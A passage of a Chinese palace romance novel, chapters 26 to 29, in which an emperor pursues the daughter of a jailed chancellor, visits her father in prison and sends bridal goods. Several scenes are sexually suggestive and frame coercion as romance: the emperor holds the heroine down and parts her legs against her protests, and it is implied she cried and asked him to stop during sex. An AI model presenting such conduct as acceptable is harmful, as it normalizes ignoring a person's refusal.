阿茉觉得这老妇人说话讨厌得很,但小姐选择忍耐,也自有她的意思。她也只能咽下不满,手脚利索地替沈若辞更衣挽发。 锦云在宫里见过沈若辞,也不陌生,殷勤地在一旁打个下手。 等用过了早饭,一直在一旁冷眼旁观的连嬷嬷突然亲自端了药上来,“沈姑娘,喝药了。” 沈若辞这两年药喝多了,一闻见这个味道就心生反感,忍不住眉头紧蹙,但她还是沉默地将药接过来,低头闻了一下,双手捧着小碗喝了起来。 这平日里喝个药都要磨蹭上半天的人,今日手脚却异常的利落。 阿茉没想到她真喝了,忙用手阻止道,“小姐,这喝的是什么啊!” 沈若辞抬头朝她笑了笑,“没什么,避子汤而已。”说着又低头喝了两口,“阿茉,快去拿些蜜饯来。” 连嬷嬷在宫里待久了,十分清楚避子汤隐含的深意。 但凡恩宠过后赐下避子汤的,绝非真的喜爱,日后若顺利入宫,位份也高不到哪里去。 就算容貌再美艳,身段再媚人,左右不过是罪臣之女,皇上难道会待以真心不成?不过是暂时图她的美貌,图她的身子,等新鲜劲过了,也就没她什么事了。 但这女子明知端来的是避子汤,也不问不闹,二话不说主动喝了下去,这行为倒也让她吃惊了一下。 沈若辞喝完了药,坐着吃蜜饯解苦,阿茉趁空去收拾床褥。 昨夜弄湿了半张床,有的地方现在还未干透,散发着奇怪的味道,阿茉红着脸将床单卷了起来。 沈若辞听到动静,循声望过去。就在那张床上,长发相缠,二人交叠的画面入了脑中,脸上禁不住一阵燥热。 沈若辞双颊飞红,强装镇定道,“拿去扔了。” 阿茉知道小姐不是铺张浪费的人,可能是忘了这床褥还是崭新的,便提醒道,“小姐,这床褥是新做的,洗洗可以继续用的。” 这次小姐竟意外的坚决,“不行!直接扔了。” 听她语气都有些发恼,阿茉只好应下,将床褥拿了出去交给外边的丫鬟。 阿茉返回屋里,想起马瑜春现在还在后院里躺着,皱着眉头跟沈若辞说了一下昨晚的情况。 沈若辞院里的仆妇是沈相精心挑选的,有几个还会些拳脚功夫,昨夜马瑜春两只脚才刚踏进院门,就被两个仆妇一左一右按住,当场给打晕了过去。 是以马瑜春昨夜哼哼唧唧,在后院里喂了一宿蚊子。 沈若辞得知情况后,略一沉思吩咐道,“找辆马车,将人送回去,不要声张,再派两个人偷偷跟着。” 交代完马瑜春的事,她突然想起另一件事,“昨夜宋临可有跟皇上的人发生冲突?” 一提起宋临,阿茉就觉得来气,闷闷地回道,“宋大哥只问了皇上一句话。” “什么话?” 阿茉努力回忆了一下,“好像是什么,皇上以后会对她好?” 这话没头没尾的,听起来有些奇怪。 更让阿茉气恼地是,皇帝只给了他一个眼色,半句话也没有回答,宋临就乖乖地给让路了。 她没想到宋临原来也是这种贪生怕死之辈。 可沈若辞却说,“宋临做得对。” 严从晖是什么人,天下恐怕没几个人能打过他。更何况宋临一个人双拳难敌四手,就算是出手了,也是于事无补,根本阻挡不了皇帝。 最后的结果,不外乎是伤了自己。 沈若辞也知道阿茉为自己抱不平,开解道,“别生气了,我这不好好的嘛?” 阿茉急了,“哪里好了,小姐昨夜哭了半宿。” “阿茉!” 沈若辞脸上刷的一下又红了一片。她也无法跟阿茉说得太明白,皇帝欺负她,但不是那种欺负,是对她这样那样…… 她说不出口。 她本来强忍着,不发出声音的,若只是像最初一下那么痛,忍忍也能撑过去。 可偏偏皇帝有很多手段,弄得她苦不堪言,才害她多次失控出声…… 与沈若辞的羞恼疲惫不同,皇帝虽彻夜未睡,却从一早就神采飞扬,眉眼舒展,神色尽是说不出的餮足。 岳常安今早替他更衣的时候,就留意到皇帝嘴边噙着笑意,若隐若现,那时候他真以为自己老眼昏花看错了。 哪知皇帝下了早朝回来,嘴角笑意更浓了,这才回味过来,原来没有看错,皇帝确实心情不错。 这小祖宗前夜才大发雷霆,将试图爬床的宫女打断了腿,又连夜将人逐出皇宫,以至于昨日神色一直是阴霾的。哪知今日突然转晴,甚至还暖阳高照。 岳常安跟着眉开眼笑,“皇上可是遇到了什么喜事?” 元栩横看他一眼,压下不自觉上扬的嘴角。 一想起昨夜的事,他的胸腔就剧烈跳动,浑身的血液都开始要沸腾。 第一次他没什么经验,那感觉来得又急又凶,他原本想着缓一缓还能拿捏得住,哪里想到在这紧要关头,沈若辞竟不配合起来,娇娇软软地哭着让他出去—— 当时脑中一片五彩缤纷的光,他只听到自己喉头一声闷哼,而后便城门失守。 元栩下意识地闭上眼睛,回味起那周身酥-麻,铺天盖地的愉悦。 当时他没忍住,又来了一次。 作者有话说:改了几次了,都没有通过,还在努力[笑哭] 第26章 事后她眼里盛满了惊慌, 如玉般清透的小脸涨得通红,泪痕满面,这一幕入了脑中, 元栩心头又生出了烦闷。他眉头一皱,脸色也瞬间沉了下来。 岳常安见皇帝前一刻还喜上眉梢, 这一秒就愁容满面,稍一细想, 便猜出是因为沈若辞的缘故。 作为皇帝身边最体贴的人,他赶忙宽慰道, “皇上,沈姑娘心忧沈相, 若有冒犯的地方, 您也别放在心上……” 元栩似在回应他的话, 又像在自言自语, “朕都答应她过阵子就将人放出来了。” 岳常安一看自己猜中了要点,又再接再厉道, “皇上, 沈姑娘最在意沈相的事,您虽口头上允了她,但沈相一日没有出狱,她心中始终还是挂念的。” 元栩哪能不知, 但他是天子,金口玉言,说一声便是了, 哪有作假的道理,他冷冷地看了岳常安一眼,“难不成还要朕给她写个欠条?” 他顿了顿又说, “堂堂一国之君,岂能随意给人写欠条。” 岳常安立马噤声,心道莫非自己想错了,皇上根本就没那么在意沈姑娘? 他还疑惑着,就见皇上从案头取下一卷蚕丝绫锦,握着笔杆开始落笔。 岳常安几乎目瞪口呆,见皇帝下笔如行云流水,一气呵成,不一会儿便搁下毛笔,取过玉玺亲自盖了上去,神色十分严肃认真。 元栩目不斜视,“拿去,让严从晖将圣旨交给她。” 岳常安忙应下,恭恭敬敬地接过圣旨,暗地里偷偷咽了咽口水。他思索着,欠条不能随意写,难不成圣旨就可以? 话虽如此,他却不敢怠慢,三步做两步出了御书房,以最快的速度将圣旨交到严从晖手中。 * 午后,沈若辞用过午饭后,便打发了连嬷嬷跟锦云回去休息。 她自己身子也乏着呢,正打算上床去,阿茉就静悄悄地走了过来,拿眼指了指门口,低声道,“小姐,宫里又来人了。” 沈若辞朝门口望了一眼,带着疑惑走出屋里。 严从晖正站在长廊下,见沈若辞出来,容貌艳丽夺目,根本不像昨日还虚弱到晕倒的人。 他上前将圣旨递了过去,“沈姑娘,这是皇上交给您的。” 沈若辞一见他手中祥云瑞鹤图案的绫锦,当即撩起裙摆,便准备跪地接旨。 严从晖阻止道,“沈姑娘接着便是,不必跪。” 沈若辞将信将疑地将圣旨接了过来,刚想问问是什么情况,严从晖却先她一步开口,“严某多嘴一句,望沈姑娘能善待皇上。” 沈若辞握着圣旨的双手明显一顿,严从晖神情严肃,不像开玩笑的样子。她殷红的唇瓣动了动,却不知如何接话。半晌,她才笑了笑说道,“多谢严将军提点。” 严从晖走后,沈若辞回到屋里,将圣旨铺开,心里便默念起来。 还没念到一半,她心潮起伏,差点没忍住要站起来。 沈若辞压下情绪,仔仔细细地将内容看了两遍,确认自己没看错后,嘴角才缓缓地上扬。 皇帝口头上应承过她,但沈若辞心里始终没个底。他从小恣意妄为,随时可以不认账。而今圣旨就在眼前,她一颗心就算放了下来,毕竟皇帝没必要花心思来欺骗她。 沈相出狱的日子定在八月十五,时间是在她入宫之后,皇帝的意图可想而知。 二人刚出了小院门,就见沈忠眉开眼笑,身后跟着一群人,为首的正是她早上刚命人送走的马瑜春。 马瑜春明显换了一身新衣,容光焕发。 “昨夜马某与沈姑娘一夜春宵,今日特来求亲。” 第27章 话说完, 也不忘装模作样地拱手行了一礼。 这马瑜春看起来像是个有病的,还病得不轻。 沈若辞只看了一眼,心中起腻, 冷冷地回道,“若是跟我求亲, 大可不必。若是与其他人,请移步到别处。” 而今她院里有皇帝的人, 她可不想因为这些不想干的人又起不必要的风波。 沈忠陪笑道,“这说的是什么话, 来到这里,自然是与你求亲, 马公子诚意满满, 咱也不能怠慢人家啊。” 听了这席话, 马瑜春满意地拍了拍沈忠的肩膀, 给了他一个中肯的眼神,二人相视一笑。 马瑜春上前一步, “今日我聘礼都带过来了, 沈小姐请收下吧。” 沈若辞淡淡地扫过他身后的两个箱子,语气平静,“不嫁,马公子请回吧。” 马瑜春知道沈若辞从前看不上他, 但那已经是两年前的事了,而今他们马家可是今非昔比。 “家姐如今是宫中的娘娘,圣上的宠妃。沈小姐难道没想过, 若是家姐能在皇上耳边吹吹枕边风,为沈相说几句好话,没准皇上一开心就将人放出来了!” 沈若辞原本走出了几步, 闻言又回过头去,“这吹枕边风的大好机会还是留给马公子自己吧,为自己谋个前程,别整天无所事事。” 马瑜春被戳中了要害,瞬间恼羞成怒。见沈若辞不想理他,更是气不打一处来,直接上前抓住了她的手腕,“你昨夜都失身给本公子了,别当自己还是个冰清玉洁的大家闺秀。本公子此番纳你为贵妾,是抬举你,别敬酒不吃吃罚酒!” 此话一出,沈家众人皆掩嘴而笑,私下眼神交流个不停。 这话荒唐至极,但沈若辞此时已无暇顾及。她脑中只有一个念头,只知道被马瑜春握着手,一阵恶心自心底里泛起,气势汹汹,直冲喉头。 昨夜跟皇帝有更亲近的碰触,她心里虽反感,却完全没有此时的嫌恶。 马瑜春被沈若辞的人推开,心有怒气,但一想起昨夜他与沈若辞春宵一度,一双眼睛便开始不受控制,无礼地在她身上逡巡。 沈若辞强忍着不适,冷着一张绝美的面容,嘲讽道,“马公子怕不是得了失心疯吧!” 马瑜春盯着她的脸,肤若凝脂,艳若桃李,连火气也消了几分,“沈小姐可别不认,证据我是有的,为防你不认,我都带来了。” 他一个眼色下去,便有下人呈上东西,正是沈若辞早上扔掉的那床被褥。 马瑜春望着那床被子洋洋自得道,“沈小姐将贞洁给了我,本公子就该担起这个责任。” 昨夜他吃了药,跟她欲-仙-欲死,具体细节记得不大清楚,但那蚀骨销魂的感觉却不能错辩。 前来看热闹的人越来越多,大房二房的人几乎都到齐了,众人脸上都是一副看好戏的神态。沈若辞被无数双眼睛盯着,却没有人站出来为她说一句话。 马瑜春连二人欢好的证物都拿出来,照理说沈若辞该羞愤不安才对,可这时候她却意外的冷静,目光在沈家众人身上扫了一圈,就发现沈若嫣在她眼神触及时,心虚地别开脸。 她一早就猜到沈家有人跟马瑜春里应外合,只是没想到会是沈若嫣。 沈若辞也没有当场拆穿,她捋了捋鬓边的碎发,只想跟马瑜春撇清关系,“今日在这里我将话撩明了,我沈若辞的婚事自己做主,他人无权干涉。也劳请各位,别什么阿猫阿狗都往我们三房里带。” 而今她身边有皇帝的人,要是被误会了她有意嫁别人,怕是又要连累了父亲。 她干脆一不做二不休,当着众人的脸将话挑明了,省去不必要的误会。 马瑜春原本抱着志在必得的信心,却没想到沈若辞竟当众拒婚离开,他觉得被下了面子,当场就想发作。 哪知宋临抱着长剑,慢悠悠往门上一靠,再无一人敢接近半步。 日后要搞宋临,马瑜春能有千万种法子。但眼下明显不是他的对手,只好悻悻地带着人离开三房。一路上将沈若辞连带沈相都嘲讽了一番,就连沈忠,也没给他好脸色看,劈头盖脸地将人羞辱了一顿。最后自觉找回了点面子,才心满意足地离去。 沈忠没想到如今这种境况,沈若辞还端着千金小姐的架子,挑三拣四,竟还看不起马瑜春。 今时不同往日,眼下最重要的是找棵可以依靠的大树,他这个侄女怎么半点觉悟都没有呢! 沈忠吐出一口怨气,盘算着如何让沈若辞答应给马瑜春做小妾,他好攀上马家这棵大树。 * 沈墨昨天早上出去放风了一个时辰,慢悠悠地踱步回牢房时,简直怀疑自己老眼昏花,走错了地方。 牢房四壁都贴上上好的墙纸,墙角燃着无烟白炭,空气中还有淡淡的熏香,一闻便是上等的沉香。 沈墨稍作一想,便知道这是谁的手笔,但他简直不知道那狼崽子又在搞什么鬼,整这么一出是何用意。 时间已经过去一天了,沈墨至今还没有习惯过来。新做好的大床上有崭新的被褥,柔软的垫子,他没有睡上去,仍躺在干草堆上,盖着他小闺女送来的被子。 正值午后,犯人都在休息,牢狱里静悄悄的,稍有动静便异常清晰。 他一早便听到了脚步声,但一直闭目养神,也不做理会,直至来人越来越近,停下了脚步,他才缓缓地睁开双眼。 入眼是英俊的年轻的男子,居高临下地喊了一声“沈相”。态度高高在上,语气也不乏尊重。 虽有些意外,但也不至于吃惊。沈墨仍靠着墙壁,神色漠然,“罪臣年纪大了,又在牢里熬坏了腿脚,恕罪臣无法起身给皇上行礼。” 那阴郁的小皇帝没有像往日一般不满怨怒,反而爽朗一笑,“沈相无需自责,朕自小视您如恩师,不必讲究那么多。” 这话恭敬谦逊,听得沈墨频频皱眉,忍不住要仔仔细细去将人打量一遍。 狼崽子去了趟战场回来,仿佛换了人似的。往日里与他针锋相对的劲头不见踪影,而今话里话外都透着陌生的亲近,沈墨一时间习惯不了他的转变,只冷冷地回道,“这声恩师臣担不起,皇上错爱了。” 小皇帝对他的话不置可否,面容依旧温和,径直撩起长袍下摆,就地坐了下来。 沈墨冷眼看他闲适自在地坐在草堆上,如同在自己家中一样随意放松,眉头紧锁。 岳常安从带来的食盒里摆出几样精致的小菜,又倒了一杯酒递到皇帝手中。 元栩双手举起酒杯,恭敬地递了过去。 沈墨只看了一眼,并不伸手去接。 元栩也不恼,薄唇携着浅浅的笑意,“上等的女儿红,沈相不喝可要后悔。” 沈墨对他的挑衅嗤之以鼻,“不巧,臣刚好有一女,日后铁定能喝得上,后悔怕是没机会。” 皇帝执意将酒放到他腿边,笑容有些耐人寻味,沈墨一时摸不清他的意思。但脑中有一个奇怪的声音异常清楚——千万不能喝狼崽子这杯酒。 酒香扑鼻,二人都选择了无视。 元栩朝四面环视了一圈,“沈相在这里住的时间不短了,真不打算出去了?” 沈墨冷笑,反问道,“照皇上的意思,这牢狱之灾是臣自己选择的不成?”他单手撑地,坐直了身子,神情仍是不屑一顾。 元栩席地而坐,将下摆整整齐齐地铺平在自己腿上,像对友人一般亲近的语气问道,“沈相真不打算告诉朕,姜国来的信件,究竟写了何事?” 这问题一抛出,沈墨心中了然,原是为了此事才勉强与他和颜悦色。原来把这牢房大动干戈地折腾一番,为的是从他嘴里套出话来。这狼崽子心思多,因为旁人闲言碎语,就怀疑他多年来忠君为国的苦心。他也不计较,反正早已习以为常,干脆换了个舒适的姿势,慢悠悠地回道,“信件的事本是他人挑拨离间的伎俩,皇上若认定了臣叛国通敌,大可以一直关着臣。” 元栩微微一笑,“那不成,沈相想在这里长期住下去,沿沿可就没人照顾了。” 话说完后,他还故意看了沈墨一眼,眼神别有深意。 这一眼让沈墨后背一凉,想起些陈年往事。皇帝一早就觊觎他的女儿了,那时候毛都还没长齐,就把他软糯可爱的小闺女拐走了。此事已经过去十年有多了,沈相至今想起仍耿耿于怀。但眼下更多的是担忧,生怕他又故技重施,来拐走他好不容易养大的闺女。 想到这里,一颗心一下子揪了起来,连带手掌也虚握成拳,面上却不露声色,平静道,“这就不劳皇上操心了。” 他尽量克制自己,表现得风轻云淡,不想被皇帝看出他的在意。 “朕记得沿沿幼时是个粉雕玉琢的小姑娘,很讨人喜欢,想必如今……” 元栩偏着头,似在回忆。 话说了半截,就被沈相粗鲁地打断了,“长残了。” 他的闺女容貌过人,这天下头一号的纨绔子弟,定是要严防死守,绝不给他觊觎的机会。 元栩也不拆穿,面上带着微笑,心道这是哪门子的爹。 他很是为沈若辞抱不平,忍不住辩解道,“按理说小时候那么可爱,长大了也不至于到难看的地步。” 作者有话说:做了坏事,赶紧去爹那里自首 第28章 沈墨瞪了他一眼, 叹惋道,“女娃子没争气,丑了就丑了, 不值得皇上挂心。” 眼见皇帝终于露出了惋惜的表情,他稍稍安心下来, 就听皇帝恍然大悟道,“原来是变丑了, 也难怪沈相前脚入了狱,后脚国公府的人立马与沈家划清界限, 沿沿的亲事也就此作罢。” 一席话有犹如晴天霹雳,这下子沈相坐不住了, 女儿被拒了亲事, 自己又没有陪在她身边, 定是孤苦又无助。一想起她一个小姑娘独自承受被退婚后的各种委屈, 又是心疼又是气闷。 元栩趁机关心道,“沈相若真的放心不下, 朕倒是可以替您走一趟, 安慰一下沿沿。” 沈墨乍闻女儿的遭遇,一时间急得方寸大乱,但到底是经历过大风大雨的人,很快就恢复冷静。 他眼神从皇帝脸上一扫而过, 心里冷笑了一声,狼崽子想见他的闺女,想都不要想! 沈相努力平心静气, “不必劳烦皇上,袁家人不念旧情,沿沿也不会留恋。皇上有这份心, 倒不如赶紧还臣一个清白。” 沈墨眼下急了,他想立刻就从牢狱里出去。 皇帝却看破不说破,只挑好听的讲,“一日为师,终身为父。既然沈相清白,朕自当力排众难为沈相洗刷罪名,好尽快让您早日出狱。” 什么父不父的,他沈墨没有这种能气到他跳脚的儿子。他的闺女又乖又贴心,听她说话都心情舒畅,好在不是这般没皮没脸的的狼崽子。 但皇帝的态度极其诚恳,让他想不信都有点难。沈相一直没习惯他如今的转变,静默了片刻,才艰难地吐出一句“谢皇上”。 元栩很是满意,临走前又嘱托了几句,要让他注意身体,缺什么东西大可以让狱卒补上,饭菜不合口味可以派人专程送过来…… 他说得越多,表现出来的越是亲和,沈墨心中就更加烦躁不安。 * 天气转凉,夜里较夏日的闷热好睡许多。 晚饭后沈若辞泡了个澡,浑身清爽,眼皮却开始泛酸。 阿茉知道她昨晚累坏了,赶紧铺好床让她好尽快休息。连嬷嬷本想阻止,但转念一想,又觉得不可能。皇上早上才刚走,是该有多稀罕,才会当夜又来一次。 她这些年在宫里行事谨慎惯了,凡事容易想多一些。这回从宫里出来,一时还没适应过来。 也罢,既然沈若辞早早地睡了,她也乐得清静,这把老骨头也好放松一下。 这么想着,她也回了房,只是被窝还没捂热,就有人过来传话,说皇帝来了府里。 连嬷嬷暗叫自己大意,连忙穿上外衣赶过去。到的时候,锦云正站在门口,朝她打了个安静的手势,才轻手轻脚地走过去,压低声音道,“嬷嬷,皇上在里边呢,不让人打扰。” 连嬷嬷探着头观望了一会儿,安静的房中突然响起女子惊慌的尖叫。叫声只是一瞬,里边又悄无声息。 闺房中有女子淡淡的香甜的气息。 沈若辞细长的手指抓紧了被褥,一双杏眼瞪得又圆又大,浑身都绷成直线。 “别动,朕看看伤势。” 元栩一手举着蜡烛,一手撑开她的双膝,不顾她的反抗,缓缓地将烛火移过去。 烛光微晃,元栩只看了一眼,剑眉缓缓地蹙起。 他略带不满地问道,“为何还是肿的,是不是没有上药?” 她还想问他怎么如此无理呢,这人反倒好,问罪起她来了。 沈若辞咬着红唇,一言不发。 皇帝行事太荒唐,她实在不想去回答他的问话。 哪知他也不追究,径直朝门口喊了一声,“锦云,拿药进来。” 一听皇帝让人进来,沈若辞顿时慌了,他这样子对她,如何能让人见着! 沈若辞撑着手肘想要坐起来,哪知皇帝一眼看出她的意图,长臂一伸,轻轻松松将人按了回去,“躺好了,让哥哥好好检查一下。” 锦云在外边应了一声,推门进来,脚步声越来越近,沈若辞忙不迭去推他的手。 元栩抬头看了她一眼,掐着她柔软的腰肢,不让她乱动,“乖一点,上完药就放开你。” 一句话让她的脸瞬间红得如火烧。他说什么?要给她上药! 烛光映着他清隽的脸庞,沈若辞红着眼,手脚挣扎却无法挣脱他的禁锢。 她就是自己给自己上药都觉得羞,才放着没有管。哪知这人竟恬不知耻,理直气壮地掰着她的腿。 元栩神色认真,仿佛要做一件再正常不过的事情,“沈若辞,踢翻了烛火,朕可不管你。” 帐内灯影摇曳,沈若辞也知道水火无情,再怎么不满也不能伤了自己,只能选择了妥协。 她是开始配合了,那人却得寸进尺,又将她的双、膝打开得更大。 元栩拧着眉头,神色严肃,手指沾了药膏,朝她腿心过去。 她很想像昨夜那样,直接晕过去了更好,奈何此时头脑异常的清醒,无形地放大了感官的体验。 这种柔风细雨的碰触,似乎比昨夜的疯狂更让人难以抵挡。 沈若辞双颊酡-红,手心沁出薄薄一层汗珠,扯紧了身下的被褥,索性将头偏向床壁内侧。 尽管选择闭眼不看,身下一阵阵陌生的触感,还是让她难耐地蹙起了眉头。皇帝真的只是给她上药,动作并不粗鲁,但她却感受到一种异样的折磨。 持续了好一会儿,终于感觉没有了动静,她朝元栩瞥了一眼。 皇帝似乎被什么转移了注意力,正盯着自己的手发呆,沈若辞趁他不注意,小心翼翼地脱离他的掌控坐起来。 指尖水光-莹润,元栩看得入神,嘴角现出一抹笑意,“真乖。” 她明明没有说话,哪里乖了。沈若辞不知道他又在胡说什么,但下意识觉得不是什么好话。正要收回目光,余光隐约见他将手指移到了唇边。 这人莫非是想…… 沈若辞心头一跳,再定神细看,那场面简直惊心动魄。 果然……如此,这人! 她随手扯过床头的帕子,急急往他脸上扔过去,“你好脏。” 此时她被又羞又恼,几乎被冲昏了头脑。 好在皇帝也不生气,若无其事地接住帕子,嘴角的笑意化开,“哪里脏了,沿沿身上哪里都是香的。” 这不就闻一下,她就羞恼成这样,日后他所有其他行径,那要有怎样剧烈的反应啊。 元栩没皮没脸地将手指放在鼻间嗅了嗅,才用帕子慢条斯理地拭去指尖的湿润。 然后倾身上前,伸手去抱沈若辞。 她身子软绵绵的,明明是抗拒他的,可是他稍加伺-弄,就敏感得能接受他的。 这件事只有他一个人知道,令他有一种极致的满足感。 “真香。”他贴着她的耳畔,声音微哑。 她沐浴完明明就没有涂任何东西,哪来的香味,纯属就是胡诌。沈若辞不习惯这种亲近,推了推他,“皇上靠太近了。” 皇帝却像没长耳朵一样,一个劲儿往她身上凑。 她穿着薄薄的寝衣,因为方才挣扎过,领口微微敞开,玉-肌似雪,素色的小衣紧紧贴合着傲 人的曲线。 见他缓缓逼近那一处绵-软,沈若辞莫名惊慌,在他碰触到自己之前往后缩了缩,拉开了两人的距离。 皇帝双臂撑在床褥上,仍保持着方才的姿势,只是微微仰起头与她对望。 四目相望,沈若辞见他嘴角动了动,似乎想要说什么却欲言又止。 沈若辞心头腾起一阵不详的预感,直觉想要去捂住他的嘴。 如她所料,下一秒,她听到极具冲击性的言语。 “奶香味。” 她倒吸一口凉气,胸腔里气息翻滚,白皙的脸颊红得能滴出血来。 看着他无赖的笑意,沈若辞无力地闭上眼睛。适才他的鼻尖几乎要蹭到她那里,他的唇角勾起那抹意味不明的笑,一幕幕的画面入了脑中,再加上露骨直白的调-戏,气得她身子止不住地颤抖。 狼崽子、狼崽子…… 沈若辞在心里一遍又一遍地骂着。 她还是未出阁的姑娘,何曾听过这等羞人的言辞,沈若辞当真气急了。这人疯了,折辱她的身子还不够,还要出言调戏,说她身上、她身上…… 这回皇帝真的将人惹恼了,她气鼓鼓的,干脆一不做二不休,拉过被子裹紧了自己。就像幼时无数个孤独的夜晚,她总是要整个人都躲进被子里,将自己裹得像个蝉蛹,依靠被子的庇护,才能得到安慰,踏实入睡。 这次她却像赌气那般,将皇帝晾在一旁。 “沈若辞。” 皇帝还在笑,笑着喊她的名字,笑着剥开她脑袋上的被子,沈若辞大为光火,几乎想要发怒的时候,一只手揉了揉她的发心。 “你生气了?”元栩有些不解,她极少在他面前表现出气愤的行径,就算被欺负狠了,也只是双目盈泪,愤懑委屈地望着他,控诉他,,模样可可怜怜的。 可刚刚,他并没有说什么过分的话,不明白沈若辞为何反应这么大,元栩不由得有些心焦。 作者有话说:这里女儿真的误会狼崽子了,后边有情节解开误会,女儿会明白他的。感谢宝子们的收藏,谢谢。 锁住了,麻烦…… 第29章 夜深了, 这人的声音仿佛融入了夜色,变得轻柔起来,连带他的手上的动作也不似往日粗鲁。 甚至还有点点舒服。 沈若辞的怒气消散了大半, 温顺地让他顺着毛。 元栩钻进被窝,从后面抱着她, 一双手不安分地在她身上游走,先是手臂, 再然后是腰,连腿也不放过, 就隔着衣服摸摸索索,倒没像昨晚那样做越界的事情。 沈若辞还是绷紧了身子, 生怕他又要像昨夜一样要个没完, 但很快的, 他便没有了动作, 只是搂着她。 还好只是摸摸,她终是松了一口气。 这小小的反应竟也被发现了, 他贴着她的耳畔, “怕什么,朕可不是禽兽,你还伤着呢。” 沈若辞脸皮薄,一听他又提起这事, 整张脸又红得不行。 她抿了抿唇,狼崽子可不就是禽兽? 慢慢地困意涌上头来,她迷迷糊糊地睡着了。 “嗯?” 见她没了动静, 皇帝以为她撒娇耍小性子,便低头拨开被子一探究竟,凌乱的发丝中, 女子睡颜娇憨,白玉无瑕的脸庞透着一股稚气,不似白日里那般柔媚。 元栩心头一窒,手上的动作也停了下来,小脑袋又往前凑了凑,下意识去磨蹭他的手。 “真蠢。” 微微起伏的眉头渐渐平缓,他笑骂了一声,又去揉她的头。 简直温顺极了。 那日之后,元栩再也没有来过相府。沈若辞将那卷圣旨看了一遍又一遍,一天天数着日子。三日后就是父亲出狱回家的日子,也是她入宫的期限。 沈若辞喜忧参半。 来相府这些日子,连嬷嬷整天板着个脸,对谁也没有好脸色。 明明毫不讨喜的一个人,可偏偏厨艺极佳,做出来的菜十分对人胃口。 沈若辞洗漱完毕出来的时候,锦云已经摆好了饭菜。 “沈姑娘,连嬷嬷早上又做了新的菜式,快来尝尝。” “有劳了。”沈若辞点点头,朝饭桌走过去,见桌上除了饭菜,还有一个精致的木盒子。 她微微诧异地望向锦云。 锦云立马会意打开盒子,里边躺着一只成色极佳的玉镯子,“沈姑娘,连嬷嬷说无功不受禄,这镯子物归原主。” 吃人嘴软,沈若辞原本想着礼尚往来,便挑了这只镯子给连嬷嬷送过去,没想到她…… 她平静地将木盒子从锦云手中接过来,重新合上盖子,随手递给一旁的阿茉,“收起来吧。” 连嬷嬷不要她的东西,她也不会客气,饭菜还是要照吃。没有吃饭,哪来的力气给狗皇帝折腾啊。 沈若辞这样一想,饭都吃多了半碗。 锦云刚把碗筷撤走,就有人搬着几口紫檀木大箱子进屋。 沈若辞坐在窗边,安安静静地等人将箱子放置好了,才好奇地走过去。 阿茉翻开一口箱子,是一套大红色的衣裳,她疑惑看了一眼沈若辞,见她也蹙着眉一副不明所以的模样,便接着将旁边几口箱子一一打开。 箱子里都是一些女子的物品,做工精致,样式不凡,无一不是贵重的东西。 “小姐你看。” 阿茉递过来一幅画,沈若辞打开来一看,是一位身着大红嫁衣的女子。画中人的面貌只是简单几笔勾画出轮廓,并看不出容貌。但身上的那身衣裳却画得十分用心,红裙收腰,裙摆用金线嵌着凤凰,就连袖口点缀的凤凰纹样都清晰可见。 沈若辞不由得赞叹,“想必是位心灵手巧的绣娘画的。” 阿茉点点头,眼神里全是对漂亮嫁衣的喜欢,“这嫁衣可真好看。” 连嬷嬷收到消息刚进了屋里,见主仆二人一脸疑问地看着她,便弯身去翻看箱中的物品。哪知这一翻,脸色就沉了下来。再去看另一口箱子的物品,心中隐隐迸出一些难以置信的念头来。 等看完了最后一口箱子,她脸色奇怪极了,紧紧抿着唇不说话,一双浑浊的眼儿冒着精光,上上下下将沈若辞打量了几遍,才放软了语气道,“沈姑娘好福气,老奴之前有照顾不周的地方,还请姑娘见谅。” 沈若辞不明白她为何突然说这样的话,这老奴一直没给过她好脸色,她也习惯了,毕竟是皇帝的人,再怎么说也轮不到她管,她避重就轻道,“嬷嬷哪里的话,您一手好厨艺,我不知道多喜欢,还没好好谢谢您呢。” 连嬷嬷鞠了一躬,“沈姑娘大量。” 沈若辞微微诧异,将话题转移到几口大箱子,“嬷嬷,这些是什么意思?” 连嬷嬷虽心中已有定数,但皇帝没有交代下话来,她自然不敢擅作主张揣摩圣意,只道,“想必是姑娘入宫时要用到的物品。” 沈若辞心中“咦”了一声,不愧是皇家,一颗棋子入宫,也要如此大肆铺张,做足场面。 连嬷嬷简单清点了一下物品,越想越觉得不对劲,她借故离开后,便私下遣了一名侍卫去问清楚情况,她怀疑东西是不是送错了地方。按照之前的传闻,这些东西理应是送样同一条街的国公府才对。 那名侍卫一头雾水地将话带回宫里,得到回复后又重返相府。他找到连嬷嬷回话,“没送错。” 轻飘飘的三个字,连嬷嬷的心头却有如千万斤石头压下来,压得她喘不过气。 她定了定神,在小侍卫迷惑的目光中恢复平日里没有感情的黑脸。 “愣着干嘛,还不赶紧去做事。” 小侍卫忙告退离去,连嬷嬷这才抚了抚胸口,似乎在确定什么难以置信的事情。 隔天一早,连嬷嬷亲自下厨做了几样日常的小菜,按照往常惯例,自己留着一些,其他的都让锦云送过去给沈若辞。 沈若辞吃完早饭没多久,连嬷嬷就来到她房中,从其中一个大箱子里翻出一精致的木盒,盒中是一股红线。 初升的日头还不刺眼,连嬷嬷搬个小板凳放在门口,让沈若辞坐在那里,又叫阿茉拿来了海棠粉。 “沈姑娘,老奴为您开脸。”海棠粉涂了细细的一层在脸上,连嬷嬷手指盘着红色双线贴近沈若辞的脸,扯开、合拢,看似轻轻一下没有用力,沈若辞却疼得脚趾头都蜷了起来。 连嬷嬷也知道会疼,但这礼仪习俗,古往今来都是这么做的,她没有停手,又顺手绞了几下。 沈若辞疼得眼泪直往外冒,她捂住脸身子往后撤,眸中蓄着薄泪眼巴巴地望着连嬷嬷。 “嬷嬷,疼……” 连嬷嬷听她的哭腔心头一颤。 此时薄薄的晨曦洒在她脸上,迎着光那层细细的绒毛珊珊可爱,宛若初熟的蜜桃,娇嫩欲滴又讨人喜欢。 唉,皇帝这回也太逾举了,既然有心迎娶,怎么能婚前就夺了人家女子的清白! 连嬷嬷叫她的美貌晃了眼,鬼使神差地收了手。在沈若辞惊愕的目光中,她若无其事地将红线放回盒中,好像一开始就没想要做全套一样,她清了清嗓子,“意思意思就罢了,图个吉利。” 沈若辞松了一口气,心道还好连嬷嬷也明白,她又不是真的要成亲,何必白受这份苦。 但是接下来的日子,连嬷嬷却总是搞得她像要成亲似的,事事都按着礼仪规矩来,一点儿也不能含糊。 沈若辞私底下觉得很多事情大可不必,但连嬷嬷乐此不疲,凡事亲力亲为,她也不好抗拒得太明显,好在都是些琐碎的小事,她能配合的也都尽力满足。 等到进宫那一日,沈若辞在连嬷嬷的服侍下穿上那身漂亮繁复的嫁衣。 